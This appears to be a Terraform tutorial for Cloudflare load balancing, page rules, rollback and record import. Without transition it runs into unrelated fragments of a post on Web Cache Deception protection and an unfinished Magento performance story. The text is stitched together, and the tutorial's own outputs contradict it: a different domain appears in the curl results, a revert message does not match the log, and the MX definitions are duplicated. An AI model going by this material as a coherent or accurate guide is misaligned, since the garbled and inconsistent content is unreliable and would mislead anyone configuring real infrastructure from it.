To monitor our origins we're going to create a basic health check that makes a GET request to each origin on the URL https://www.example.com. If the origin returns the 200/OK status code within 5 seconds, we'll consider it healthy. If it fails to do so three (3) times in a row, we'll consider it unhealthy. This health check will be run once per minute from several regions, and send an email notification to you@example.com if any failures are detected.

$ git checkout step5-loadbalance
Switched to branch 'step5-loadbalance'

$ cat >> cloudflare.tf <<'EOF'
resource "cloudflare_load_balancer_monitor" "get-root-https" {
  expected_body = "alive"
  expected_codes = "200"
  method = "GET"
  timeout = 5
  path = "/"
  interval = 60
  retries = 2
  check_regions = ["WNAM", "ENAM", "WEU", "EEU", "SEAS", "NEAS"]
  description = "GET / over HTTPS - expect 200"
}
EOF

We will call our pool "www-servers” and add two origins to it: www-us (203.0.113.10) and www-asia (198.51.100.15). For now, we'll skip any sort of geo routing.

Note that we reference the monitor we added in the last step. When applying this confirmation, Terraform will figure out that it first needs to create the monitor so that it can look up the ID and provide to the pool we wish to create.

$ cat >> cloudflare.tf <<'EOF'
resource "cloudflare_load_balancer_pool" "www-servers" {
  name = "www-servers"
  monitor = "${cloudflare_load_balancer_monitor.get-root-https.id}"
  origins {
    name = "www-us"
    address = "203.0.113.10"
  }
  origins {
    name = "www-asia"
    address = "198.51.100.15"
  }
  description = "www origins"
  enabled = true
  minimum_origins = 1
  notification_email = "you@example.com"
}
EOF

Note that when you create a load balancer (LB), it will replace any existing DNS records with the same name. For example, when we create the "www.example.com" LB below, it will supersede the two www DNS records that you have previously defined. One benefit of leaving these DNS records in place is that if you temporarily disable load balancing, connections to this hostname will still be possible as shown above.

$ cat >> cloudflare.tf <<'EOF'
resource "cloudflare_load_balancer" "www-lb" {
  zone = "example.com"
  name = "www-lb"
  default_pool_ids = ["${cloudflare_load_balancer_pool.www-servers.id}"]
  fallback_pool_id = "${cloudflare_load_balancer_pool.www-servers.id}"
  description = "example load balancer"
  proxied = true
}
EOF

As usual, we take a look at the proposed plan before we apply any changes:

$ terraform plan
...
Terraform will perform the following actions:

  + cloudflare_load_balancer.www-lb
      id:                         <computed>
      created_on:                 <computed>
      default_pool_ids.#:         <computed>
      description:                "example load balancer"
      fallback_pool_id:           "${cloudflare_load_balancer_pool.www-servers.id}"
      modified_on:                <computed>
      name:                       "www-lb"
      pop_pools.#:                <computed>
      proxied:                    "true"
      region_pools.#:             <computed>
      ttl:                        <computed>
      zone:                       "example.com"
      zone_id:                    <computed>

  + cloudflare_load_balancer_monitor.get-root-https
      id:                         <computed>
      created_on:                 <computed>
      description:                "GET / over HTTPS - expect 200"
      expected_body:              "alive"
      expected_codes:             "200"
      interval:                   "60"
      method:                     "GET"
      modified_on:                <computed>
      path:                       "/"
      retries:                    "2"
      timeout:                    "5"
      type:                       "http"

  + cloudflare_load_balancer_pool.www-servers
      id:                         <computed>
      check_regions.#:            "6"
      check_regions.1151265357:   "SEAS"
      check_regions.1997072153:   "WEU"
      check_regions.2367191053:   "EEU"
      check_regions.2826842289:   "ENAM"
      check_regions.2992567379:   "WNAM"
      check_regions.3706632574:   "NEAS"
      created_on:                 <computed>
      description:                "www origins"
      enabled:                    "true"
      minimum_origins:            "1"
      modified_on:                <computed>
      monitor:                    "${cloudflare_load_balancer_monitor.get-root-https.id}"
      name:                       "www-servers"
      notification_email:         "you@example.com"
      origins.#:                  "2"
      origins.3039426352.address: "198.51.100.15"
      origins.3039426352.enabled: "true"
      origins.3039426352.name:    "www-asia"
      origins.4241861547.address: "203.0.113.10"
      origins.4241861547.enabled: "true"
      origins.4241861547.name:    "www-us"


Plan: 3 to add, 0 to change, 0 to destroy.

The plan looks good so let's go ahead, merge it in, and apply it.

$ git add cloudflare.tf
$ git commit -m "Step 5 - Create load balancer (LB) monitor, LB pool, and LB."
[step5-loadbalance bc9aa9a] Step 5 - Create load balancer (LB) monitor, LB pool, and LB.
 1 file changed, 35 insertions(+)

$ terraform apply --auto-approve
...
cloudflare_load_balancer_monitor.get-root-https: Creating...
  created_on:     "" => "<computed>"
  description:    "" => "GET / over HTTPS - expect 200"
  expected_body:  "" => "alive"
  expected_codes: "" => "200"
  interval:       "" => "60"
  method:         "" => "GET"
  modified_on:    "" => "<computed>"
  path:           "" => "/"
  retries:        "" => "2"
  timeout:        "" => "5"
  type:           "" => "http"
cloudflare_load_balancer_monitor.get-root-https: Creation complete after 1s (ID: 4238142473fcd48e89ef1964be72e3e0)
cloudflare_load_balancer_pool.www-servers: Creating...
  check_regions.#:            "" => "6"
  check_regions.1151265357:   "" => "SEAS"
  check_regions.1997072153:   "" => "WEU"
  check_regions.2367191053:   "" => "EEU"
  check_regions.2826842289:   "" => "ENAM"
  check_regions.2992567379:   "" => "WNAM"
  check_regions.3706632574:   "" => "NEAS"
  created_on:                 "" => "<computed>"
  description:                "" => "www origins"
  enabled:                    "" => "true"
  minimum_origins:            "" => "1"
  modified_on:                "" => "<computed>"
  monitor:                    "" => "4238142473fcd48e89ef1964be72e3e0"
  name:                       "" => "www-servers"
  notification_email:         "" => "you@example.com"
  origins.#:                  "" => "2"
  origins.3039426352.address: "" => "198.51.100.15"
  origins.3039426352.enabled: "" => "true"
  origins.3039426352.name:    "" => "www-asia"
  origins.4241861547.address: "" => "203.0.113.10"
  origins.4241861547.enabled: "" => "true"
  origins.4241861547.name:    "" => "www-us"
cloudflare_load_balancer_pool.www-servers: Creation complete after 0s (ID: 906d2a7521634783f4a96c062eeecc6d)
cloudflare_load_balancer.www-lb: Creating...
  created_on:         "" => "<computed>"
  default_pool_ids.#: "" => "1"
  default_pool_ids.0: "" => "906d2a7521634783f4a96c062eeecc6d"
  description:        "" => "example load balancer"
  fallback_pool_id:   "" => "906d2a7521634783f4a96c062eeecc6d"
  modified_on:        "" => "<computed>"
  name:               "" => "www-lb"
  pop_pools.#:        "" => "<computed>"
  proxied:            "" => "true"
  region_pools.#:     "" => "<computed>"
  ttl:                "" => "<computed>"
  zone:               "" => "example.com"
  zone_id:            "" => "<computed>"
cloudflare_load_balancer.www-lb: Creation complete after 1s (ID: cb94f53f150e5c1a65a07e43c5d4cac4)

Apply complete! Resources: 3 added, 0 changed, 0 destroyed.

With load balancing in place, let's run those curl requests again to see where the traffic is served from:

$ for i in {1..4}; do curl https://www.example.com && sleep 5; done
Hello, this is 198.51.100.15!

Hello, this is 203.0.113.10!

Hello, this is 198.51.100.15!

Hello, this is 203.0.113.10!

Great, we're now seeing each request load balanced evenly across the two origins we defined.

Earlier we configured zone settings that apply to all of example.com. Now we're going to add an exception to these settings by using Page Rules.

Specifically, we're going to turn increase the security level for a URL we know is expensive to render (and cannot be cached): https://www.example.com/expensive-db-call. Additionally, we're going to add a redirect from the previous URL we used to host this page.

As usual, we'll create a new branch and append our configuration.

$ git checkout -b step6-pagerule
Switched to a new branch 'step6-pagerule'

$ cat >> cloudflare.tf <<'EOF'
resource "cloudflare_page_rule" "increase-security-on-expensive-page" {
  zone = "${var.domain}"
  target = "www.${var.domain}/expensive-db-call"
  priority = 10

  actions = {
    security_level = "under_attack",
  }
}

resource "cloudflare_page_rule" "redirect-to-new-db-page" {
  zone = "${var.domain}"
  target = "www.${var.domain}/old-location.php"
  priority = 10

  actions = {
    forwarding_url {
      url = "https://www.${var.domain}/expensive-db-call"
      status_code = 301
    }
  }
}
EOF

You know the drill: preview the changes Terraform is going to make and then merge them into the master branch.

$ terraform plan
...
Terraform will perform the following actions:

  + cloudflare_page_rule.increase-security-on-expensive-page
      id:                                     <computed>
      actions.#:                              "1"
      actions.0.always_use_https:             "false"
      actions.0.disable_apps:                 "false"
      actions.0.disable_performance:          "false"
      actions.0.disable_security:             "false"
      actions.0.security_level:               "under_attack"
      priority:                               "10"
      status:                                 "active"
      target:                                 "www.example.com/expensive-db-call"
      zone:                                   "example.com"
      zone_id:                                <computed>

  + cloudflare_page_rule.redirect-to-new-db-page
      id:                                     <computed>
      actions.#:                              "1"
      actions.0.always_use_https:             "false"
      actions.0.disable_apps:                 "false"
      actions.0.disable_performance:          "false"
      actions.0.disable_security:             "false"
      actions.0.forwarding_url.#:             "1"
      actions.0.forwarding_url.0.status_code: "301"
      actions.0.forwarding_url.0.url:         "https://www.example.com/expensive-db-call"
      priority:                               "10"
      status:                                 "active"
      target:                                 "www.example.com/old-location.php"
      zone:                                   "example.com"
      zone_id:                                <computed>


Plan: 2 to add, 0 to change, 0 to destroy.

$ git add cloudflare.tf

$ git commit -m "Step 6 - Add two Page Rules."
[step6-pagerule d4fec16] Step 6 - Add two Page Rules.
 1 file changed, 23 insertions(+)

$ git checkout master
Switched to branch 'master'

$ git merge step6-pagerule 
Updating 7a2ac34..d4fec16
Fast-forward
 cloudflare.tf | 23 +++++++++++++++++++++++
 1 file changed, 23 insertions(+)
3. Apply And Verify The Changes
First we'll test requesting the (now missing) old location of the expensive-to-render page.

$ curl -vso /dev/null https://www.example.com/old-location.php 2>&1 | grep "< HTTP\|Location"
< HTTP/1.1 404 Not Found

As expected, it can't be found. Let's apply the Page Rules, including the redirect that should fix this error.

$ terraform apply --auto-approve
...
cloudflare_page_rule.redirect-to-new-db-page: Creating...
  actions.#:                              "0" => "1"
  actions.0.always_use_https:             "" => "false"
  actions.0.disable_apps:                 "" => "false"
  actions.0.disable_performance:          "" => "false"
  actions.0.disable_security:             "" => "false"
  actions.0.forwarding_url.#:             "0" => "1"
  actions.0.forwarding_url.0.status_code: "" => "301"
  actions.0.forwarding_url.0.url:         "" => "https://www.example.com/expensive-db-call"
  priority:                               "" => "10"
  status:                                 "" => "active"
  target:                                 "" => "www.example.com/old-location.php"
  zone:                                   "" => "example.com"
  zone_id:                                "" => "<computed>"
cloudflare_page_rule.increase-security-on-expensive-page: Creating...
  actions.#:                     "0" => "1"
  actions.0.always_use_https:    "" => "false"
  actions.0.disable_apps:        "" => "false"
  actions.0.disable_performance: "" => "false"
  actions.0.disable_security:    "" => "false"
  actions.0.security_level:      "" => "under_attack"
  priority:                      "" => "10"
  status:                        "" => "active"
  target:                        "" => "www.example.com/expensive-db-call"
  zone:                          "" => "example.com"
  zone_id:                       "" => "<computed>"
cloudflare_page_rule.redirect-to-new-db-page: Creation complete after 3s (ID: c5c40ff2dc12416b5fe4d0541980c591)
cloudflare_page_rule.increase-security-on-expensive-page: Creation complete after 6s (ID: 1c13fdb84710c4cc8b11daf7ffcca449)

Apply complete! Resources: 2 added, 0 changed, 0 destroyed.

With the Page Rules in place, let's try that call again, along with the I'm Under Attack Mode test:

$ curl -vso /dev/null https://www.example.com/old-location.php 2>&1 | grep "< HTTP\|Location"
< HTTP/1.1 301 Moved Permanently
< Location: https://www.upinatoms.com/expensive-db-call

$ curl -vso /dev/null https://www.upinatoms.com/expensive-db-call 2>&1 | grep "< HTTP"
< HTTP/1.1 503 Service Temporarily Unavailable

Great, they work as expected! In the first case, the Cloudflare edge responds with a 301 redirecting the browser to the new location. In the second case it initially responds with a 503 (as it is consistent with the "I Am Under Attack” mode).

We've come a long way! Now it's time to tear it all down. Well, maybe just part of it.

Sometimes when you deploy configuration changes you later determine that they need to be rolled back. You could be performance testing a new configuration and want to revert to your previous configuration when done testing. Or maybe you fat-fingered an IP address and brought your entire site down (#hugops).

Either way, if you've determined you want to revert your configuration, all you need to do is check the desired branch out and ask Terraform to move your Cloudflare settings back in time. And note that if you accidentally brought your site down you should consider establishing a good strategy for peer reviewing pull requests (rather than merging directly to primary, as I do here for brevity)!

Before we figure out how far back in time we want to roll back, let's take a look at our (git) versioned history.

$ git log
commit d4fec164581bec44684a4d59bb80aec1f1da5a6e
Author: Me
Date:   Wed Apr 18 22:04:52 2018 -0700

    Step 6 - Add two Page Rules.

commit bc9aa9a465a4c8d6deeaa0491814c9f364e9aa8a
Author: Me
Date:   Sun Apr 15 23:58:35 2018 -0700

    Step 5 - Create load balancer (LB) monitor, LB pool, and LB.

commit 6761a4f754e77322629ba4e90a90a3defa1fd4b6
Author: Me
Date:   Wed Apr 11 11:20:25 2018 -0700

    Step 5 - Add additional 'www' DNS record for Asia data center.

commit e1c38cf6f4230a48114ce7b747b77d6435d4646c
Author: Me
Date:   Mon Apr 9 12:34:44 2018 -0700

    Step 4 - Update /login rate limit rule from 'simulate' to 'ban'.

commit 0f7e499c70bf5994b5d89120e0449b8545ffdd24
Author: Me
Date:   Mon Apr 9 12:22:43 2018 -0700

    Step 4 - Add rate limiting rule to protect /login.

commit d540600b942cbd89d03db52211698d331f7bd6d7
Author: Me
Date:   Sun Apr 8 22:21:27 2018 -0700

    Step 3 - Enable TLS 1.3, Always Use HTTPS, and SSL Strict mode.

commit 494c6d61b918fce337ca4c0725c9bbc01e00f0b7
Author: Me
Date:   Sun Apr 8 19:58:56 2018 -0700

    Step 2 - Ignore terraform plugin directory and state file.

commit 5acea176050463418f6ac1029674c152e3056bc6
Author: Me
Date:   Sun Apr 8 19:52:13 2018 -0700

    Step 2 - Initial commit with webserver definition.

Another nice benefit of storing your Cloudflare configuration in git is that you can see who made the change, as well as who reviewed and approved the change (assuming you're peer reviewing pull requests).

To begin with, let's see what the last change we made was.

$ git show
commit d4fec164581bec44684a4d59bb80aec1f1da5a6e
Author: Me
Date:   Wed Apr 18 22:04:52 2018 -0700

    Step 6 - Add two Page Rules.

diff --git a/cloudflare.tf b/cloudflare.tf
index 0b39450..ef11d8a 100644
--- a/cloudflare.tf
+++ b/cloudflare.tf
@@ -94,3 +94,26 @@ resource "cloudflare_load_balancer" "www-lb" {
   description = "example load balancer"
   proxied = true
 }
+
+resource "cloudflare_page_rule" "increase-security-on-expensive-page" {
+  zone = "${var.domain}"
+  target = "www.${var.domain}/expensive-db-call"
+  priority = 10
+
+  actions = {
+    security_level = "under_attack",
+  }
+}
+
+resource "cloudflare_page_rule" "redirect-to-new-db-page" {
+  zone = "${var.domain}"
+  target = "www.${var.domain}/old-location.php"
+  priority = 10
+
+  actions = {
+    forwarding_url {
+      url = "https://${var.domain}/expensive-db-call"
+      status_code = 301
+    }
+  }
+}

Now let's look at the past few changes:

$ git log -p -3

... 
// page rule config from above
...

commit bc9aa9a465a4c8d6deeaa0491814c9f364e9aa8a
Author: Me
Date:   Sun Apr 15 23:58:35 2018 -0700

    Step 5 - Create load balancer (LB) monitor, LB pool, and LB.

diff --git a/cloudflare.tf b/cloudflare.tf
index b92cb6f..195b646 100644
--- a/cloudflare.tf
+++ b/cloudflare.tf
@@ -59,3 +59,38 @@ resource "cloudflare_record" "www-asia" {
   type    = "A"
   proxied = true
 }
+resource "cloudflare_load_balancer_monitor" "get-root-https" {
+  expected_body = "alive"
+  expected_codes = "200"
+  method = "GET"
+  timeout = 5
+  path = "/"
+  interval = 60
+  retries = 2
+  description = "GET / over HTTPS - expect 200"
+}
+resource "cloudflare_load_balancer_pool" "www-servers" {
+  name = "www-servers"
+  monitor = "${cloudflare_load_balancer_monitor.get-root-https.id}"
+  check_regions = ["WNAM", "ENAM", "WEU", "EEU", "SEAS", "NEAS"]
+  origins {
+    name = "www-us"
+    address = "203.0.113.10"
+  }
+  origins {
+    name = "www-asia"
+    address = "198.51.100.15"
+  }
+  description = "www origins"
+  enabled = true
+  minimum_origins = 1
+  notification_email = "you@example.com"
+}
+resource "cloudflare_load_balancer" "www-lb" {
+  zone = "${var.domain}"
+  name = "www-lb"
+  default_pool_ids = ["${cloudflare_load_balancer_pool.www-servers.id}"]
+  fallback_pool_id = "${cloudflare_load_balancer_pool.www-servers.id}"
+  description = "example load balancer"
+  proxied = true
+}

commit 6761a4f754e77322629ba4e90a90a3defa1fd4b6
Author: Me
Date:   Wed Apr 11 11:20:25 2018 -0700

    Step 5 - Add additional 'www' DNS record for Asia data center.

diff --git a/cloudflare.tf b/cloudflare.tf
index 9f25a0c..b92cb6f 100644
--- a/cloudflare.tf
+++ b/cloudflare.tf
@@ -52,3 +52,10 @@ resource "cloudflare_rate_limit" "login-limit" {
   disabled = false
   description = "Block failed login attempts (5 in 1 min) for 5 minutes."
 }
+resource "cloudflare_record" "www-asia" {
+  domain  = "${var.domain}"
+  name    = "www"
+  value   = "198.51.100.15"
+  type    = "A"
+  proxied = true
+}

Imagine that shortly after we deployed the Page Rules, we got a call from the Product team that manages this page: "The URL was only being used by one customer and is no longer needed, let's drop the security setting and redirect.”

While you could always edit the config file directly and delete those entries, it's easier to let git do it for us. To begin with, let's ask git to revert the last commit (without rewriting history).

$ git revert HEAD~1..HEAD
[master f9a6f7d] Revert "Step 6 - Bug fix."
 1 file changed, 1 insertion(+), 1 deletion(-)

$ git log -2
commit f9a6f7db72ea1437e146050a5e7556052ecc9a1a
Author: Me
Date:   Wed Apr 18 23:28:09 2018 -0700

    Revert "Step 6 - Add two Page Rules."
    
    This reverts commit d4fec164581bec44684a4d59bb80aec1f1da5a6e.

commit d4fec164581bec44684a4d59bb80aec1f1da5a6e
Author: Me
Date:   Wed Apr 18 22:04:52 2018 -0700

    Step 6 - Add two Page Rules.

As expected, Terraform is indicating it will remove the two Page Rules we just created.

$ terraform plan
...
An execution plan has been generated and is shown below.
Resource actions are indicated with the following symbols:
  - destroy

Terraform will perform the following actions:

  - cloudflare_page_rule.increase-security-on-expensive-page

  - cloudflare_page_rule.redirect-to-new-db-page


Plan: 0 to add, 0 to change, 2 to destroy.

The changes look good, so let's ask Terraform to roll our Cloudflare configuration back.

$ terraform apply --auto-approve
...
cloudflare_page_rule.redirect-to-new-db-page: Destroying... (ID: c5c40ff2dc12416b5fe4d0541980c591)
cloudflare_page_rule.increase-security-on-expensive-page: Destroying... (ID: 1c13fdb84710c4cc8b11daf7ffcca449)
cloudflare_page_rule.increase-security-on-expensive-page: Destruction complete after 0s
cloudflare_page_rule.redirect-to-new-db-page: Destruction complete after 1s

Apply complete! Resources: 0 added, 0 changed, 2 destroyed.

Two resources destroyed, as expected. We've rolled back to the previous version.

An important point to understand about Terraform is that it is only able to manage configuration that it created, or was explicitly told about after the fact. The reason for this limitation is that Terraform relies on a local state file that maps the resource names defined in your configuration file, e.g., cloudflare_load_balancer.www-lb to the IDs generated by Cloudflare's API.

When Terraform makes calls to Cloudflare's API to create new resources, it persists those IDs to a state file; by default, the terraform.tfstate file in your directory is used, but this can be a remote location as will be discussed in a future blog post. These IDs are later looked up and refreshed when you call terraform plan and terraform apply.

If you've configured Cloudflare through other means, e.g., by logging into the Cloudflare Dashboard or making curl calls to api.cloudflare.com, Terraform does not (yet) have these resource IDs in the state file. To manage this preexisting configuration you will need to first i) reproduce the configuration in your config file and; ii) import resources one-by-one by providing their IDs and resource names.

Before importing resources created by other means, let's take a look at how an existing DNS records is represented in the state file.

$ cat terraform.tfstate | jq '.modules[].resources["cloudflare_record.www"]'
{
  "type": "cloudflare_record",
  "depends_on": [],
  "primary": {
    "id": "c38d3103767284e7cd14d5dad3ab8669",
    "attributes": {
      "created_on": "2018-04-08T00:37:33.76321Z",
      "data.%": "0",
      "domain": "example.com",
      "hostname": "www.example.com",
      "id": "c38d3103767284e7cd14d5dad3ab8669",
      "metadata.%": "2",
      "metadata.auto_added": "false",
      "metadata.managed_by_apps": "false",
      "modified_on": "2018-04-08T00:37:33.76321Z",
      "name": "www",
      "priority": "0",
      "proxiable": "true",
      "proxied": "true",
      "ttl": "1",
      "type": "A",
      "value": "203.0.113.10",
      "zone_id": "e2e6491340be87a3726f91fc4148b126"
    },
    "meta": {
      "schema_version": "1"
    },
    "tainted": false
  },
  "deposed": [],
  "provider": "provider.cloudflare"
}

As shown in the above JSON, the cloudflare_record resource named "www" has a unique ID of c38d3103767284e7cd14d5dad3ab8669. This ID is what gets interpolated into the API call that Terraform makes to Cloudflare to pull the latest configuration during the plan stage, e.g.,

GET https://api.cloudflare.com/client/v4/zones/:zone_id/dns_records/c38d3103767284e7cd14d5dad3ab8669

To import an existing record, e.g., another DNS record, you need two things:

1. The unique identifier that Cloudflare uses to identify the record

2. The resource name to which you wish to map this identifier

We start by making an API call to Cloudflare to enumerate the DNS records in our account. The output below has been filtered to show only MX records, as these are what we'll be importing.

$ curl https://api.cloudflare.com/client/v4/zones/$EXAMPLE_COM_ZONEID \
       -H "X-Auth-Email: you@example.com" -H "X-Auth-Key: $CF_API_KEY" \
       -H "Content-Type: application/json" | jq .

{
  "result": [
    {
      "id": "8ea8c36c8530ee01068c65c0ddc4379b",
      "type": "MX",
      "name": "example.com",
      "content": "alt1.aspmx.l.google.com",
      "proxiable": false,
      "proxied": false,
      "ttl": 1,
      "priority": 15,
      "locked": false,
      "zone_id": "e2e6491340be87a3726f91fc4148b126",
      "zone_name": "example.com",
      "modified_on": "2016-11-06T01:11:50.163221Z",
      "created_on": "2016-11-06T01:11:50.163221Z",
      "meta": {
        "auto_added": false,
        "managed_by_apps": false
      }
    },
    {
      "id": "ad0e9ff2479b13c5fbde77a02ea6fa2c",
      "type": "MX",
      "name": "example.com",
      "content": "alt2.aspmx.l.google.com",
      "proxiable": false,
      "proxied": false,
      "ttl": 1,
      "priority": 15,
      "locked": false,
      "zone_id": "e2e6491340be87a3726f91fc4148b126",
      "zone_name": "example.com",
      "modified_on": "2016-11-06T01:12:00.915649Z",
      "created_on": "2016-11-06T01:12:00.915649Z",
      "meta": {
        "auto_added": false,
        "managed_by_apps": false
      }
    },
    {
      "id": "ad6ee69519cd02a0155a56b6d64c278a",
      "type": "MX",
      "name": "example.com",
      "content": "alt3.aspmx.l.google.com",
      "proxiable": false,
      "proxied": false,
      "ttl": 1,
      "priority": 20,
      "locked": false,
      "zone_id": "e2e6491340be87a3726f91fc4148b126",
      "zone_name": "example.com",
      "modified_on": "2016-11-06T01:12:12.899684Z",
      "created_on": "2016-11-06T01:12:12.899684Z",
      "meta": {
        "auto_added": false,
        "managed_by_apps": false
      }
    },
    {
      "id": "baf6655f33738b7fd902630858878206",
      "type": "MX",
      "name": "example.com",
      "content": "alt4.aspmx.l.google.com",
      "proxiable": false,
      "proxied": false,
      "ttl": 1,
      "priority": 20,
      "locked": false,
      "zone_id": "e2e6491340be87a3726f91fc4148b126",
      "zone_name": "example.com",
      "modified_on": "2016-11-06T01:12:22.599272Z",
      "created_on": "2016-11-06T01:12:22.599272Z",
      "meta": {
        "auto_added": false,
        "managed_by_apps": false
      }
    },
    {
      "id": "a96d72b3c6afe3077f9e9c677fb0a556",
      "type": "MX",
      "name": "example.com",
      "content": "aspmx.lo.google.com",
      "proxiable": false,
      "proxied": false,
      "ttl": 1,
      "priority": 10,
      "locked": false,
      "zone_id": "e2e6491340be87a3726f91fc4148b126",
      "zone_name": "example.com",
      "modified_on": "2016-11-06T01:11:27.700386Z",
      "created_on": "2016-11-06T01:11:27.700386Z",
      "meta": {
        "auto_added": false,
        "managed_by_apps": false
      }
    },

    ...
  ]
}

In the previous step, we found 5 MX records that we wish to add.

Before importing, we need to create Terraform configuration and give each record a unique name that can be referenced during the import.

$ cat >> cloudflare.tf <<'EOF'
resource "cloudflare_record" "mx-10" {
  domain  = "${var.domain}"
  name    = "${var.domain}"
  value   = "aspmx.lo.google.com"
  type    = "MX"
  priority = "10"
}
resource "cloudflare_record" "mx-15-1" {
  domain  = "${var.domain}"
  name    = "${var.domain}"
  value   = "alt1.aspmx.l.google.com"
  type    = "MX"
  priority = "15"
}
resource "cloudflare_record" "mx-15-2" {
  domain  = "${var.domain}"
  name    = "${var.domain}"
  value   = "alt2.aspmx.l.google.com"
  type    = "MX"
  priority = "15"
}
resource "cloudflare_record" "mx-20-1" {
  domain  = "${var.domain}"
  name    = "${var.domain}"
  value   = "alt3.aspmx.l.google.com"
  type    = "MX"
  priority = "20"
}
resource "cloudflare_record" "mx-20-2" {
  domain  = "${var.domain}"
  name    = "${var.domain}"
  value   = "alt3.aspmx.l.google.com"
  type    = "MX"
  priority = "20"
}
EOF

Before we import the records, let's look at what would happen if we ran a terraform apply.

$ terraform plan | grep Plan
Plan: 5 to add, 0 to change, 0 to destroy.

Terraform does not know that these records already exist on Cloudflare, so until the import completes it will attempt to create them as new records. Below we import them one-by-one, specifying the name of the resource and the zoneName/resourceID returned by api.cloudflare.com.

$ terraform import cloudflare_record.mx-10 example.com/a96d72b3c6afe3077f9e9c677fb0a556
cloudflare_record.mx-10: Importing from ID "example.com/a96d72b3c6afe3077f9e9c677fb0a556"...
cloudflare_record.mx-10: Import complete!
  Imported cloudflare_record (ID: a96d72b3c6afe3077f9e9c677fb0a556)
cloudflare_record.mx-10: Refreshing state... (ID: a96d72b3c6afe3077f9e9c677fb0a556)

Import successful!

The resources that were imported are shown above. These resources are now in
your Terraform state and will henceforth be managed by Terraform.

$ terraform import cloudflare_record.mx-15-1 example.com/8ea8c36c8530ee01068c65c0ddc4379b
cloudflare_record.mx-15-1: Importing from ID "example.com/8ea8c36c8530ee01068c65c0ddc4379b"...
cloudflare_record.mx-15-1: Import complete!
  Imported cloudflare_record (ID: 8ea8c36c8530ee01068c65c0ddc4379b)
cloudflare_record.mx-15-1: Refreshing state... (ID: 8ea8c36c8530ee01068c65c0ddc4379b)

Import successful!

The resources that were imported are shown above. These resources are now in
your Terraform state and will henceforth be managed by Terraform.

$ terraform import cloudflare_record.mx-15-2 example.com/ad0e9ff2479b13c5fbde77a02ea6fa2c
cloudflare_record.mx-15-2: Importing from ID "example.com/ad0e9ff2479b13c5fbde77a02ea6fa2c"...
cloudflare_record.mx-15-2: Import complete!
  Imported cloudflare_record (ID: ad0e9ff2479b13c5fbde77a02ea6fa2c)
cloudflare_record.mx-15-2: Refreshing state... (ID: ad0e9ff2479b13c5fbde77a02ea6fa2c)

Import successful!

The resources that were imported are shown above. These resources are now in
your Terraform state and will henceforth be managed by Terraform.

$ terraform import cloudflare_record.mx-20-1 example.com/ad6ee69519cd02a0155a56b6d64c278a
cloudflare_record.mx-20-1: Importing from ID "example.com/ad6ee69519cd02a0155a56b6d64c278a"...
cloudflare_record.mx-20-1: Import complete!
  Imported cloudflare_record (ID: ad6ee69519cd02a0155a56b6d64c278a)
cloudflare_record.mx-20-1: Refreshing state... (ID: ad6ee69519cd02a0155a56b6d64c278a)

Import successful!

The resources that were imported are shown above. These resources are now in
your Terraform state and will henceforth be managed by Terraform.

$ terraform import cloudflare_record.mx-20-2 example.com/baf6655f33738b7fd902630858878206
cloudflare_record.mx-20-2: Importing from ID "example.com/baf6655f33738b7fd902630858878206"...
cloudflare_record.mx-20-2: Import complete!
  Imported cloudflare_record (ID: baf6655f33738b7fd902630858878206)
cloudflare_record.mx-20-2: Refreshing state... (ID: baf6655f33738b7fd902630858878206)

Import successful!

The resources that were imported are shown above. These resources are now in
your Terraform state and will henceforth be managed by Terraform.

Now when we run terraform plan it no longer wants to (re-)create the above records.

$ terraform plan | grep changes
No changes. Infrastructure is up-to-date.

That's it for today! We covered the Load Balancing and Page Rules resources, as well as demonstrated how to review and roll back configuration changes, and import state.

Stay tuned for future Terraform blog posts, where we plan to show how to manage state effectively in a group setting, go multi-cloud with Terraform, and much more.

Read that blog post to learn about how to configure your website, and for those who are not able to do that, how to disable caching for certain URIs to prevent this type of attacks. Since our previous blog post, we have looked for but have not seen any large scale attacks like this in the wild.

Today, we have released a tool to help our customers make sure only assets that should be cached are being cached.

Recall that the Web Cache Deception attack happens when an attacker tricks a user into clicking a link in the format of http://www.example.com/newsfeed/foo.jpg, when http://www.example.com/newsfeed is the location of a dynamic script that returns different content for different users. For some website configurations (default in Apache but not in nginx), this would invoke /newsfeed with PATH_INFO set to /foo.jpg. If http://www.example.com/newsfeed/foo.jpg does not return the proper Cache-Control headers to tell a web cache not to cache the content, web caches may decide to cache the result based on the extension of the URL. The attacker can then visit the same URL and retrieve the cached content of a private page.

The proper fix for this is to configure your website to either reject requests with the extra PATH_INFO or to return the proper Cache-Control header. Sometimes our customers are not able to do that (maybe the website is running third-party software that they do not fully control), and they can apply a Bypass Cache Page Rule for those script locations.

Photo by Henry Hustava / Unsplash

The new Cache Deception Armor Page Rule protects customers from Web Cache Deception attacks while still allowing static assets to be cached. It verifies that the URL's extension matches the returned Content-Type. In the above example, if http://www.example.com/newsfeed is a script that outputs a web page, the Content-Type is text/html. On the other hand, http://www.example.com/newsfeed/foo.jpg is expected to have image/jpeg as Content-Type. When we see a mismatch that could result in a Web Cache Deception attack, we will not cache the response.

There are some exceptions to this. For example if the returned Content-Type is application/octet-stream we don't care what the extension is, because that's typically a signal to instruct the browser to save the asset instead of to display it. We also allow .jpg to be served as image/webp or .gif as video/webm and other cases that we think are unlikely to be attacks.

This new Page Rule depends upon Origin Cache Control. A Cache-Control header from the origin or Edge Cache TTL Page Rule will override this protection.

In the run-up to Thanksgiving and Black Friday, e-commerce sites turned to services like Cloudflare to help optimise their performance and withstand the traffic spikes of the shopping season.

In preparation, an e-commerce customer joined Cloudflare on the 9th November, a few weeks before the shopping season. Instead of joining via our Enterprise plan, they were a self-serve customer who signed-up by subscribing to our Business plan online and switching their nameservers over to us.

Their site was running Magento, a notably slow e-commerce platform - filled with lots of interesting PHP, with a considerable amount of soft code in XML. Running version 1.9, the platform was somewhat outdated (Magento was totally rewritten in version 2.0 and subsequent releases).

Despite the somewhat dated technology, the e-commerce site was "good enough" for this customer and had done it's job for many years.

They were the first to notice an interesting technical issue surrounding how performance and security can often feel at odds with each other. Although they were the first to highlight this issue, into the run-up of Black Friday, we ultimately saw around a dozen customers on Magento 1.8/1.9 have similar issues.

After signing-up for Cloudflare, the site owners attempted to make some changes to ensure their site was loading quickly.

The website developers had already ensured the site was loading over HTTPS, in doing so they were able to ensure their site was loading over the new HTTP/2 Protocol and made some changes to ensure their site was optimised for HTTP/2 (for details, see our blog post on HTTP/2 For Web Developers).

At Cloudflare we've taken steps to ensure that there isn't a latency overhead for establishing a secure TLS connection, here is a non-complete list of optimisations we use:

• TLS Session Resumption

• OCSP Stapling

• Fast Elliptic Curve Cryptography prioritised

• Dynamic TLS Record Sizing

